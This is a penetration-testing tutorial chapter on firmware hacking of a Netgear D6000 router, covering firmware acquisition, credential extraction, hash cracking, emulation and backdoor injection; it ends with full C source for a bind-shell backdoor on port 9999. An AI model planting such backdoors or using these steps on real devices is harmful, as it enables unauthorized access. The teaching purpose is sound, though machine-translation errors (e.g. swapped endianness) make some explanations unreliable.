Part 9. Hacking the hardware part of the system. (Firmware hacking)

10 October 2023 47 minutes Author: Lady Liberty

Firmware Hacking: Analysis and Consequences

Firmware hacking is the process of analyzing and modifying software on devices to gain additional control or access. This procedure may include unlocking restrictions, changing functionality, and exploring and using different techniques to achieve certain goals. A firmware hack can be used for various purposes and can affect the security and functionality of the device. It is important to note that the firmware hacking process can be used for both positive and negative purposes. For example, security researchers can crack firmware to find vulnerabilities and improve security, while cybercriminals can use this process for illicit purposes, such as gaining unauthorized access or making malicious changes.

Firmware cracking requires a deep understanding of programming and systems analysis, and is often used in security, research, and device development. However, it is important to understand that jailbreaking can violate laws and property regulations, and using this process must be legal and ethical. Firmware, or microprogram, is a piece of software that connects the device’s hardware layer with its main software layer. Viscosity in this part of the device can have a huge impact on its functions. That’s why it’s critical to identify and fix firmware vulnerabilities for secure IoT devices. This section will show you what firmware is and how you can access it; then we’ll analyze it for bridge vulnerabilities. Let’s start by looking for user credentials in the firmware file system. Then we emulate some compiled binary files of the embedded software as part of the firmware to perform dynamic analysis. We’ll also modify public firmware to add a backdoor mechanism and discuss how to detect a vulnerable firmware update service.

Firmware and operating systems

Firmware is a type of software that provides communication and control over the device’s hardware components. This is the first piece of code that starts the device. It usually loads the operating system and provides very specific program execution services by interacting with various hardware components. Most, if not all, electronic devices have firmware.

While firmware is simpler and more reliable than operating systems, it also has stricter limitations and is designed to support only certain hardware. In contrast, many IoT devices run extremely advanced, complex operating systems that support a large family of products. For example, Microsoft Windows-based IoT devices typically use operating systems such as Windows 10 IoT Core, Windows Embedded Industry (also known as POSReady or WEPOS), and Windows Embedded CE. IoT devices based on embedded Linux variants often use operating systems such as Android Things, OpenWrt, and Raspberry Pi OS. On the other hand, IoT devices designed to serve real-time applications that need to process data with specific time constraints and without buffer delays are typically based on real-time operating systems (RTOS) such as BlackBerry QNX, Wind River VxWorks, and NXP MQX mBed. In addition, “bare” IoT devices (“bare devices”) designed to support simple microcontroller-based applications typically execute assembly code directly, without additional operating system scheduling algorithms to allocate system resources. However, each of these implementations has its own boot sequence with compatible bootloaders.

In less complex IoT devices, firmware can act as an operating system. Devices store firmware in non-volatile memory, such as ROM, PROM, or flash memory.

It is important to study the firmware and then try to change it, because during this process we can find many security issues. Users often modify the firmware to unlock new features or customize it. But with the same tactics, attackers can better understand the inner workings of a system or even exploit a security vulnerability.

Access to the firmware

Before you can reverse engineer the firmware, you must find a way to access it. There are usually several ways to do this, depending on the device. In this section, we will cover the most popular firmware extraction methods according to the OWASP Firmware Security Testing Methodology (FSTM), which you can find at https://scriptingxss.gitbook.io/firmware-security-testing-methodology/.

Often the easiest way to find firmware is to visit the vendor’s support site. Some vendors make their firmware publicly available to make troubleshooting easier. For example, network equipment manufacturer TPLink provides a repository of firmware files for routers, cameras, and other devices on its website.

If the firmware for a particular device is not published, try asking the manufacturer about it. Some vendors may simply provide you with the firmware. You can directly contact the development team, manufacturer or other customer of the supplier. Make sure that the person you contacted is authorized to give you access to the firmware (has permission from the vendor). It’s definitely worth trying to get both the development version and the final build – this will make your testing more efficient as you’ll be able to see the difference between the two builds. Additionally, some security mechanisms may not be available in the preview build. For example, Intel RealSense provides production and production firmware versions for its cameras at https://dev.intelrealsense.com/docs/firmware-releases/.

Sometimes you have to compile the firmware manually. It scares some people, but there is a way out. Firmware source code may be publicly available, especially in open source projects. In such situations, you can flash the firmware by following the manufacturer’s published step-by-step instructions and instructions. The OpenWrt operating system used in Chapter 6 is one such open source firmware project; Mainly used in embedded devices to route network traffic. For example, the firmware of GL.iNet routers is based on OpenWrt.

Another common approach is to learn about powerful search engines like Google using Google Dork. With the right search, you can find almost anything on the Internet. Search Google for binary extensions hosted on file sharing platforms such as MediaFire, Dropbox, Microsoft OneDrive, Google Drive, or Amazon Drive. You can often see firmware images uploaded by customers to forums or customer blogs and corporate blogs. Look in the comments section on sites for communication between buyers and manufacturers. You may find information on how to obtain the firmware, or even find that the manufacturer has sent the customer a compressed file or a link to download the firmware from a file sharing platform. Here’s an example of a Google Dork query to find firmware files for Netgear devices:

intitle:"Netgear" intext:"Firmware Download"

The intitle parameter specifies the text that should be present in the page title, while the intext parameter specifies the text that should exist in the page body. This search yielded the results shown in Fig. 9.1.

Open cloud storage should not be neglected either. Try looking for buckets (towers) for Amazon S3 storage; If you’re lucky, you may find the firmware in the vendor’s unsecured recycle bin. (To comply with legal requirements, make sure the buckets are legally disclosed and the provider has provided access to the files.) The S3Scanner tool can list a provider’s Amazon S3 buckets. The tool is written in Python 3, which comes pre-installed on Kali Linux. You can download the application using the git command:

$ git clone https://github.com/sa7mon/S3Scanner

Then go to the application folder and install the necessary dependencies using the pip3 command, which is also available on Kali Linux:

# cd S3Scanner
# pip3 install -r requirements.txt

You can now find the Amazon S3 buckets owned by your hardware vendor and see which ones provide access to the firmware:

$ python3 s3scanner.py vendor_potential_buckets.txt
2020-05-01 11:16:42 Warning: AWS credentials not configured. Open buckets will be shown as
closed. Run: `aws configure` to fix this.
2020-05-01 11:16:45 [found] : netgear | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:46 [not found] : netgear-dev
2020-05-01 11:16:46 [not found] : netgear-development
2020-05-01 11:16:46 [not found] : netgear-live
2020-05-01 11:16:47 [not found] : netgear-stag
2020-05-01 11:16:47 [not found] : netgear-staging
2020-05-01 11:16:47 [not found] : netgear-prod
2020-05-01 11:16:48 [not found] : netgear-production
2020-05-01 11:16:48 [not found] : netgear-test
2020-05-01 11:16:52 [found] : tplink | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:52 [not found] : tplinl-dev

The vendor_potential_buckets.txt parameter specifies a potential bucket name file that the tool can try. You can create your own custom file like this and specify vendor names followed by popular suffixes for S3 buckets such as -dev, -development  , -live, -staging  and -prod. The tool initially displays a warning that your AWS credentials are missing, but this is expected and you can ignore it. The detected S3 buckets are then displayed with an access status.

If your device comes with bundled software, try scanning the client programs. By analyzing accompanying mobile applications or so-called thick client devices – fully functional computers that do not require a network connection – it is possible to detect hard-coded endpoints that applications interact with. One of these endpoints may be the one used to automatically download the firmware during the update process. Regardless of whether this endpoint is authenticated, you will be able to download the firmware by probing clients. The methodology for analyzing such applications can be found in Chapter 14.

If the device receives updates and bug fixes from the manufacturer over the network, you can effectively perform a man-in-the-middle attack during the firmware update. These updates are transmitted over a network channel from a central server or clusters of servers to each connected device. Depending on the complexity of the logic of the program downloading the firmware, the simplest solution may be to intercept the traffic. For this, a trusted certificate must be installed on the device (provided that the transmission is over HTTPS), which will allow interception of traffic using a network sniffer, poisoning technology (for example, ARP cache poisoning) and a proxy capable of saving a dump of binary data to a file.

On many devices, you can also flash the firmware using the device’s bootloader. The bootloader is usually accessed in a variety of ways, such as the built-in RS232 serial ports, special keyboard shortcuts, or over the network. In addition, in most consumer devices, the bootloader is programmed to read and write flash memory.

If your hardware includes open APIs such as UART, JTAG, and SPI, try connecting directly to these interfaces to read flash memory. Chapters 7 and 8 provide a detailed explanation of how to discover and use these interfaces.

The last and most difficult method is to extract the firmware directly from any flash chip (via SPI, for example) or microcontroller (MCU). An MCU is a microcircuit mounted on a device board that contains a central processing unit, memory, a clock, and a control unit. To extract the firmware from the microcontroller or flash memory, you will need a chip programmer.

Wi-Fi router hacking

In this section, we will look at the firmware of the very popular Netgear D6000 router. First, let’s unpack the firmware file system and find the user’s credentials in it. Then we will emulate the firmware in the router for dynamic analysis.

To find the firmware, go to the vendor’s website and open the support page for your device model (https://www.netgear.com/support/product/D6000.aspx). You will see a list of firmware and software available for download (see Figure 9.2).

Upload your files. Since the firmware is in a compressed format, use the unzip command to extract it. You can install unzip using apt-get:

$ mkdir d6000 && cd d6000
$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip
unzip D6000_V1.0.0.41_1.0.1_FW.zip

The wget command is a Unix utility that downloads files from the Internet in a non-interactive way. Without additional arguments, wget will save the file in the current working directory. The unpacking utility then creates a folder called D6000_V1.0.0.41_1.0.1_ FW, which contains two files: D6000-V1.0.0.41_1.0.1.bin, which is the device firmware, and D6000_V1.0.0.41_1.0.1_Software_ Release_Notes. HTML that contains the manufacturer’s notes on how to manually install this firmware on the device.

After purchasing the firmware, you can test it for security issues.

Mining the file system

The firmware of most consumer routers contains the file system of the device in a compressed format. Sometimes firmware is compressed several times using different algorithms (for example, LZMA and LZMA2). Let’s unpack this file system, mount it, and look for security vulnerabilities. To find the file system in the firmware file, use the bin walker that comes pre-installed on Kali Linux:

$ binwalk -e -M D6000-V1.0.0.41_1.0.1.bin

The -e option extracts any identified file, including the bootloader and filesystem, from the firmware. The -M option recursively scans mined files and performs signature analysis to identify file types based on common patterns. But be careful: if binwalk can’t correctly identify file types, it can fill up your hard drive. You should now have a folder named _D6000-V1.0.0.41_1.0.1.bin. extracted, where the extracted content is written.

Note that we used binwalk version 2.1. 2-a0c5315. Some previous versions could not extract the file system correctly. We recommend using the latest version of binwalk, which is available on GitHub at https:// github.com/ReFirmLabs/binwalk/.

Static analysis of file system contents

Now that we’ve unpacked the file system, we can navigate through the files and try to find useful information. A good approach is to start by looking for little-known results, such as credentials stored in configuration files or outdated and vulnerable versions of shared binaries with public recommendations. Look for any files called passwd or shadow, which often contain information about all user accounts on the system, including user passwords. This can be done using common utilities such as grep or find, which are preinstalled on any Unix system:

~/d600/_D6000-V1.0.0.41_1.0.1.bin.extracted$ find . -name passwd
./squashfs-root/usr/bin/passwd
./squashfs-root/usr/etc/passwd

Using ,, we tell the Find tool to search the current working directory for the file specified by the -name parameter. In this case we are looking for the passwd file. As you can see, there are two files with this name.

The bin/passwd executable does not provide us with any useful information in its current form. On the other hand, the etc/passwd file has a human-readable format. It can be read using the cat utility:

$ cat ./squashfs-root/usr/etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh$

The etc/passwd file contains a text database that lists the users who can authenticate to the system. There is currently only one device administrator entry. The record has the following fields, separated by a colon: username, user password hash, user ID, group ID, additional information about the user, path to the user’s home directory; The program starts when the user logs in to System. Let’s look at the password hash ($1 $$ iC.dUsGpxNNJGeOm1dFio /).

Compromise of device administrator credentials

Use hashid to specify the hash type of the administrator password. This tool comes pre-installed on Kali Linux and can detect over 220 unique hash types using regular expressions:

$ hashid $1$$iC.dUsGpxNNJGeOm1dFio/
Analyzing '$1$$iC.dUsGpxNNJGeOm1dFio/'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5

At the output, we found a hash like MD5 Crypt. Now you can try to crack this password using a brute force tool like john or hashcat. These tools cycle through a list of potential passwords to find one that matches the hash.

$ hashcat -a 3 -m 500 ./squashfs-root/usr/etc/passwd
…
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$iC.dUsGpxNNJGeOm1dFio/
Time.Started.....: Sat Jan 11 18:36:43 2020 (7 secs)
Time.Estimated...: Sat Jan 11 18:36:50 2020 (0 secs)
Guess.Mask.......: ?1?2?2 [3]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/15 (20.00%)
Speed.#2.........: 2881 H/s (0.68ms) @ Accel:32 Loops:15 Thr:8 Vec:1
Speed.#3.........: 9165 H/s (1.36ms) @ Accel:32 Loops:15 Thr:64 Vec:1
Speed.#*.........: 12046 H/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 80352/80352 (100.00%)
Rejected.........: 0/80352 (0.00%)
Restore.Point....: 205/1296 (15.82%)
Restore.Sub.#2...: Salt:0 Amplifier:61-62 Iteration:990-1000
Restore.Sub.#3...: Salt:0 Amplifier:61-62 Iteration:990-1000
Candidates.#2....: Xar -> Xpp
Candidates.#3....: Xww -> Xqx
$1$$iC.dUsGpxNNJGeOm1dFio/:1234 [s]tatus [p]ause [b]ypass [c]
heckpoint [q]uit =>

The -a option specifies the attack mode used for plaintext passwords. We choose mode 3 to perform an attack by the method of enumeration. Mode 0 performs a word list attack, and mode 1 performs a combinatorial attack that adds every word in a dictionary to every word in another dictionary. You can also perform more specialized attacks using modes 6 and 7. For example,  If you know that the last character in a password is a number, you can configure the tool to check passwords that only end with a number.

The -m option specifies the type of hash we are trying to crack, and 500 means MD5 Crypt. More information on supported hash types can be found on the hashcat web page  (https:// hashcat.net/hashcat/). We have recovered the password 1234. It took less than a minute to retrieve it!

Search for credentials in configuration files

Using an approach similar to the one described at the beginning of this chapter (when we found the passwd file), let’s look for other secrets in the firmware. You can often find hard-coded credentials in configuration files with a .cfg extension. The device uses these files to configure the initial state of the service.

Find the cfg files using the find command:

$ find . -name *cfg
./userfs/profile.cfg
./userfs/romfile.cfg
./boaroot/html/NETGEAR_D6000.cfg
./boaroot/html/romfile.cfg
./boaroot/html/NETGEAR_D6010.cfg
./boaroot/html/NETGEAR_D3610.cfg
./boaroot/html/NETGEAR_D3600.cfg

You can then browse the configuration files for the relevant information. For example, in the romfile we find a number of hard-coded user credentials.cfg:

$ cat ./squashfs-root/userfs/romfile.cfg
…
<Account>
 <Entry0 username="admin" web_passwd="password" console_passwd="password" display_mask="FF
FF F7 FF FF FF FF FF FF" old_passwd="password" changed="1" temp_passwd="password" expire_
time="5" firstuse="0" blank_password="0"/>
 <Entry1 username="qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui
opqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui" web_pas
swd="123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678" display_mask="F2 8C 84 8C 8C 8C 8C 8C 8C"/>
 <Entry2 username="anonymous" web_passwd="anon@localhost" display_mask="FF FF F7 FF FF FF FF
FF FF"/>
</Account>
…

We found three new users named admin,  qwer ty uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioponymous  and anonymous with their respective passwords in clear text.

We have already compromised the administrator account credentials, but the password we recovered does not match the password listed here. It is likely that the first password we find will be replaced by the password in the configuration file on first boot. Vendors often use configuration files to make security-related changes during device initialization. This approach also allows vendors to deploy the same firmware to devices that support different features and require specific settings to work successfully.

Automate firmware analysis

The Firmwalker tool can automate the information gathering and analysis process described above. Install the tool using https:// github.com/craigz28/firmwalker/ and then run:

$ git clone https://github.com/craigz28/firmwalker
$ cd firmwalker
$ ./firmwalker.sh ../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Firmware Directory***
../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Search for password files***
##################################### passwd
/usr/etc/passwd
/usr/bin/passwd
##################################### shadow
##################################### *.psk
***Search for Unix-MD5 hashes***
***Search for SSL related files***
##################################### *.crt
/usr/etc/802_1X/Certificates/client.crt
##################################### *.pem
/usr/etc/key.pem
/usr/etc/802_1X/CA/cacert.pem
/usr/etc/cert.pem
…
/usr/etc/802_1X/PKEY/client.key
…
##################################### *.cfg
…
/userfs/romfile.cfg
…

Firmwalker automatically detected not only the files we identified manually, but also others that looked suspicious as well. We’ll leave it up to you to explore these new files on your own – as a tutorial session.

Netgear has fixed the vulnerability caused by hard-coded credentials in the latest firmware and has published recommendations in a security bulletin (https://kb.netgear.com/30560/CVE-20158288-Use-of-Hard-coded-Cryptographic-Key/). which informs customers about this issue.

Firmware emulation

In this section, we will show you how to emulate a firmware. Thus, we will be able to conduct dynamic analysis tests, which are possible only with normal operation of the firmware. We use two emulation methods: binary using Quick Emulator (QEMU) and full firmware emulation using FIRMADYNE. QEMU is an open source computer emulator and analyzer that works with several operating systems and applications; FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a Linux-based platform for automation, emulation, and dynamic firmware analysis.

Binary emulation

Emulating a single binary file in firmware is a quick way to derive the relevant business logic and dynamically analyze the provided functionality for vulnerabilities. This approach also allows you to use specialized binary analysis tools, disassemblers, and frameworks that you would not normally be able to install in resource-constrained environments. These environments include embedded systems or those that are not powerful enough for use with large and complex computing workloads, such as full device firmware. Unfortunately, you won’t be able to emulate binaries that have specific hardware requirements and look for specific serial ports or device buttons. Additionally, you may have problems emulating binaries that depend on shared libraries that are loaded at runtime or that must interact with other platform binaries to run successfully.

To emulate a single binary, you first need to determine the byte order of the binary and the processor architecture for which it was compiled. You can find the core binaries in Linux distributions in the bin folder and list them using the ls command pre-installed in Kali Linux:

$ ls -l ./squashfs-root/bin/
total 492
lrwxrwxrwx 1 root root 7 Jan 24 2015 ash -> busybox
-rwxr-xr-x 1 root root 502012 Jan 24 2015 busybox
lrwxrwxrwx 1 root root 7 Jan 24 2015 cat -> busybox
lrwxrwxrwx 1 root root 7 Jan 24 2015 chmod -> busybox
…
lrwxrwxrwx 1 root root 7 Jan 24 2015 zcat -> busybox

The -l option shows additional information about files, including symlink paths (links to other files or directories). As you can see, all the binaries in the directory are symbolic links to the busybox executable. In restricted environments such as embedded systems, there is often only one executable called busybox. This executable performs tasks similar to those of Unix operating system executables, but uses fewer resources. Attackers successfully attacked early versions of busybox, but in recent versions the vulnerabilities discovered have been patched.

To see the file format of the busybox executable, use the file command:

$ file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2
version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0,
stripped

The executable file format corresponds to the MIPS processor architecture, which is very common in simple embedded devices. The MSB label in the output indicates that the executable uses little-endian ordering (as opposed to the output data containing the LSB label, which indicates endian-like ordering). Now we can emulate the busybox executable using QEMU. Install it using apt-get:

$ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemusystemmips qemu-system-x86 qemu-utils

Since the executables are compiled for MIPS and use little-endian order, we will use the QEMU emulator qemu-mips. To emulate little-endian executables, we need to select an emulator whose name ends in el, in this case qemu-mipsel:

$ qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/zcat
zcat: compressed data not read from terminal. Use -f to force it.

The rest of the dynamic analysis can be done using fuzzing, debugging, or even symbolic execution. You can learn more about these techniques in Practical Binary Analysis by Dennis Andries (No Starch Press, 2018).

Full firmware emulation

To emulate the entire firmware, instead of a single binary file, you can use an open source application called FIRMADYNE. It is based on QEMU and is designed to automatically configure the QEMU environment and host system for you, simplifying emulation. But be aware that FIRMADYNE is not always completely stable, especially when the firmware interacts with very specialized hardware components such as device buttons or secure enclave chips. These parts of the emulated firmware may not work correctly.

Before using FIRMADYNE, the environment must be prepared. The following commands will install the packages required to run this tool and clone its repository on our system:

$ sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap 
pythonpsycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
$ git clone --recursive https://github.com/firmadyne/firmadyne.git

At this point you should have a firmadyne folder on your system. To quickly set up the tool, go to the tools directory and run ./setup.sh. Alternatively, you can set it up manually by following the instructions here. By following the instructions, you will be able to select the appropriate package managers and tools for your system.

You will also need to install a PostgreSQL database to store the information used for emulation. Create user FIRMADYNE with the -P flag. In this example, we use the word firmadyne as the password, as recommended by the authors of the tool:

$ sudo apt-get install postgresql
$ sudo service postgresql start
$ sudo -u postgres createuser -P firmadyne

Next, create a new database and load it with the database schema available in the firmadyne repository folder:

$ sudo -u postgres createdb -O firmadyne firmware
$ sudo -u postgres psql -d firmware < ./firmadyne/database/schemа

Now that the database is configured, download the precompiled binaries for all FIRMADYNE components by running the download.sh script located in the repository folder. Using the pre-built binaries will significantly reduce the overall installation time.

$ cd ./firmadyne; ./download.sh

Next, set the FIMWARE_DIR variable to point to the current working repository in the firmadyne.config file located in the same folder. This change allows FIRMADYNE to find binaries in the Kali Linux file system.

FIRMWARE_DIR=/home/root/Desktop/firmadyne
…

In this example, the folder is stored on the desktop, but you should replace the path with the location of the folder on your system. Now copy or download the firmware for your D6000 (see Hacking a Wi-Fi Router) into this folder:

$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip

FIRMADYNE includes an automated Python script to extract the firmware. But to use the script, you must first install the Python binwalk module:

$ git clone https://github.com/ReFirmLabs/binwalk.git
$ cd binwalk
$ sudo python setup.py install

We use python command to initialize and configure binwalk. Next, we need two more Python packages that can be installed using the power of the Python package manager pip:

$ sudo -H pip install git+https://github.com/ahupp/python-magic
$ sudo -H pip install git+https://github.com/sviehb/Jefferson

Now use the FIRMADYNE extractor.py script to extract the firmware from the compressed file:

$ ./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "D6000_V1.0.0.41_1.0.1_
FW.zip" images
>> Database Image ID: 1
/home/user/Desktop/firmadyne/D6000_V1.0.0.41_1.0.1_FW.zip >> MD5:
1c4ab13693ba31d259805c7d0976689a
>> Tag: 1
>> Temp: /tmp/tmpX9SmRU
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
>>>> Zip archive data, at least v2.0 to extract, compressed size: 9667454, uncompressed size:
9671530, name: D6000-V1.0.0.41_1.0.1.bin
>> Recursing into archive ...
/tmp/tmpX9SmRU/_D6000_V1.0.0.41_1.0.1_FW.zip.extracted/D6000-V1.0.0.41_1.0.1.bin
 >> MD5: 5be7bba89c9e249ebef73576bb1a5c33
 >> Tag: 1 
 >> Temp: /tmp/tmpa3dI1c
 >> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
 >> Recursing into archive ...
 >>>> Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8252568
 bytes, 1762 inodes, blocksize: 131072 bytes, created: 2015-01-24 10:52:26
 Found Linux filesystem in /tmp/tmpa3dI1c/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-
 root! 
 >> Skipping: completed!
 >> Cleaning up /tmp/tmpa3dI1c...
>> Skipping: completed!
>> Cleaning up /tmp/tmpX9SmRU...

The -b option specifies the name used to store the extraction results. We decided to use the name of the firmware manufacturer. The -sql option sets the location of the SQL database. We then use the two flags recommended in the program’s documentation. The -nk option prevents any Linux kernel included in the firmware from being removed, which speeds up the process.

The -np option specifies that no parallel operation will be performed. If the script completes successfully, the last lines of output will contain a message indicating that a Linux file system was detected. Tag 1 indicates that the extracted firmware images are located in ./images/1.tar.gz. Use the getArch.sh script to automatically detect the firmware architecture and save it to the FIRMADYNE database:

$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb

FIRMADYNE has defined a mipseb executable format that corresponds to MIPS end-of-order systems. You should expect this result because we got the same result when we used the file command (see Binary Emulation) to process the header of a single binary file.

Now we will use the tar2db.py and makeImage.sh scripts to store the information from the extracted image in the database and create a QEMU image that we can emulate.

$./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
$./scripts/makeImage.sh 1
Querying database for architecture... Password for user firmadyne:
mipseb
…
Removing /etc/scripts/sys_resetbutton!
----Setting up FIRMADYNE----
----Unmounting QEMU Image----
loop deleted : /dev/loop0

Specify the name of the tag with the -i parameter and the location of the extracted firmware with the -f parameter.

You should also configure the host device so that it can access and communicate with the network interfaces of the emulated device. So we need to configure the IPv4 address and the correct network routes. The inferNetwork.sh script can automatically determine the appropriate settings:

$ ./scripts/inferNetwork.sh 1
Querying database for architecture... Password for user firmadyne:
mipseb
Running firmware 1: terminating after 60 secs...
qemu-system-mips: terminating on signal 2 from pid 6215 (timeout)
Inferring network...
Interfaces: [('br0', '192.168.1.1')]
Done!

FIRMADYNE has successfully identified an interface with IPv4 address 192.168.1.1 in the emulated device. Alternatively, to start emulating and configuring the host device’s network configuration, use the run.sh script that is automatically generated in the ./scratch/1/ folder:

$ ./scratch/1/run.sh
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc
version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[ 0.000000]
[ 0.000000] LINUX started...
…
Please press Enter to activate this console.
tc login:admin
Password:
#

You should be prompted to sign in to your account. You must be able to authenticate using a set of credentials, the discovery of which is demonstrated in the “Finding Credentials in Configuration Files” section.

Dynamic analysis

You can now use the firmware as if it were your host device. While we won’t do a full dynamic analysis here, we’ll give you some ideas on where to start. For example, you can list the files in the rootfs directory of the firmware using the ls command. Since you emulated the firmware, you may find files that were created after the device was booted and did not exist during the static analysis step.

$ ls
bin firmadyne lost+found tmp
boaroot firmware_version proc userfs
dev lib sbin usr
etc linuxrc sys var

Check out these catalogs. For example, in the etc directory, the /etc/passwd file contains authentication information for Unix-based systems. You can use it to verify the existence of accounts that you discover during static analysis.

$ cat /etc/passwd
admin:$1$$I2o9Z7NcvQAKp7wyCTlia0:0:0:root:/:/bin/sh
qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwerty
uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui:$1$$MJ7v7GdeVaM1xIZdZYKzL
1:0:0:root:/:/bin/sh
anonymous:$1$$D3XHL7Q5PI3Ut1WUbrnz20:0:0:root:/:/bin/sh

Next, it’s important to identify the network services and connections that have been established, as you can identify services that you can use later. This can be done using the netstat command:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::53 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
udp 0 0 192.168.1.1:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.1:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:50851 0.0.0.0:*
udp 0 0 0.0.0.0:53 0.0.0.0:*
udp 0 0 0.0.0.0:67 0.0.0.0:*
udp 0 0 :::53 :::*
udp 0 0 :::69 :::*

The -a option sends requests to listening and non-listening (IP address and port combination) network sockets. The -n option displays IP addresses in numeric format. The -u and -t options return UDP and TCP sockets. The output indicates the existence of an HTTP server on ports 80 and 443 that is waiting for a connection.

To access network services from the host device, you may need to disable any existing network firewall implementations in the firmware. On Linux platforms, these implementations are typically based on iptables, a command-line utility that allows you to configure a list of IP packet filtering rules in the Linux kernel. Each rule lists specific network connection attributes, such as port, source IP address, and destination IP address, and allows or blocks network connections using those attributes. If a new network connection does not match any rules, the firewall uses the default policy. To disable any iptables-based firewall, change the default policy to allow all connections, and then remove all existing rules using the following commands:

$ iptables --policy INPUT ACCEPT
$ iptables --policy FORWARD ACCEPT
$ iptables --policy OUTPUT ACCEPT
$ iptables -F

Now try navigating to the IP address of the browser-based device to access the web application hosted in the firmware (see Figure 9.3).

You may not be able to access all of the firmware’s HTTP pages, as many of them require feedback from specialized hardware components such as Wi-Fi, reset, and WPS buttons. It is likely that FIRMADYNE will not be able to automatically detect and emulate all of these components, and the HTTP server may crash as a result. You may need to reload the firmware’s HTTP server several times to access certain pages. We leave that exercise to you.

We won’t cover network attacks in this chapter, but you can use the information in Chapter 4 to identify vulnerabilities in the network stack and services. Start by evaluating the device’s HTTP service. For example, the source code of the public page /cgi-bin/passrec.asp contains an administrator password. Netgear has published this vulnerability at https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/.

Backdoor injection into the firmware

A backdoor is  software hidden inside a target device that allows an attacker to gain unauthorized access to the system. In this section, we modify the firmware by adding a tiny backdoor that will run when the firmware is loaded, giving the attacker a shell from the victim’s device. In addition, the backdoor will allow us to perform dynamic root analysis on a real and functional device. This approach is extremely useful in cases where FIRMADYNE cannot correctly emulate all firmware features.

As a backdoor agent, we will use a simple binding wrapper written by Osanda Malith in C (Listing 9.1). This script listens for new incoming connections on a predefined network port and allows remote code execution. We added a fork() command to the source script to run in the background. This will create a new child process that will run in the background at the same time,  While the parent process simply suspends its work and prevents the called program from stopping.

Code listing 9.1. A modified version of the Osanda Malith backdoor script (https:// github.com/OsandaMalith/TP-Link/blob/master/bindshell.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
 * Bind Shell using Fork for my TP-Link mr3020 router running busybox
 * Arch : MIPS
 * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
 */
int main() {
 int serverfd, clientfd, server_pid, i = 0;
 char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
 char *args[] = { "/bin/busybox", "sh", (char *) 0 };
 struct sockaddr_in server, client;
 socklen_t len;
 int x = fork();
 if (x == 0){
 server.sin_family = AF_INET;
 server.sin_port = htons(SERVER_PORT);
 server.sin_addr.s_addr = INADDR_ANY;
 serverfd = socket(AF_INET, SOCK_STREAM, 0);
 bind(serverfd, (struct sockaddr *)&server, sizeof(server));
 listen(serverfd, 1);
 while (1) {
 len = sizeof(struct sockaddr);
 clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
 server_pid = fork();
 if (server_pid) {
 write(clientfd, banner, strlen(banner));
 for(; i <3 /*u*/; i++) dup2(clientfd, i);
 execve("/bin/busybox", args, (char *) 0);
 close(clientfd);
 } close(clientfd);
 }
 }
 return 0;
}

Once executed, the script will start listening on port 9999 and execute any input received through that port as a system command.

